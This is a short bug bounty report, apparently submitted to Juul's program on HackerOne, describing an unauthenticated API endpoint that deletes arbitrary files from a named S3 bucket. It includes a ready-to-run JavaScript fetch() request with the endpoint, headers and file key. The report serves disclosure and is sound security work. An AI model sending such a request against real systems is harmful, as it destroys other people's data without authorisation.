Delete any file from amazon storage JUUL

Here's full report that I submitted to Juul program at hackerone

Summary:

Hi, I was able to delete any file from Juul amazon aws storage. The AWS with bucket tfiler is owned by juul and I can use juul unauthenticated API to delete any file from it.

Steps To Reproduce:

1. Find a file.( in my case https://s3.amazonaws.com/tfiler/1585597526/JeYLFENz7U.jpg)
2. Run javascript console and execute the following code fetch("https://switchnetwork.juul.com/fbcontests/deleteImageFromS3", {"credentials":"include","headers":{"accept":"application/json, text/javascript, */*; q=0.01","accept-language":"en-US,en;q=0.9","content-type":"application/x-www-form-urlencoded; charset=UTF-8","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"same-origin","x-requested-with":"XMLHttpRequest"},"referrer":"https://switchnetwork.juul.com/entryregister/SwitchNetworkCampaign","referrerPolicy":"no-referrer-when-downgrade","body":"key=1585597662/0Cwcuhq28s.jpeg","method":"POST","mode":"cors"});

Here on body:key=XXX is a path of file I want to delete.

Impact

Deleting file from storage, could delete important file.